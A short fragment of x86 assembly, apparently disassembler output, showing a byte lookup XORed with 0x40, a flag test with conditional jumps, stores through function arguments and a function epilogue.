mov ecx, dword [ecx + 4]
movzx eax, byte [ecx + eax]
xor eax, 0x40
jmp 0x4a47d2
test byte [ebp + 0x14], 0x40
je 0x4a47d2
mov ecx, eax
mov ecx, dword [ebp + 0xc]
mov dword [ecx], 0x4cd4ec
mov ecx, dword [ebp + 8]
mov dword [ecx], edx
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret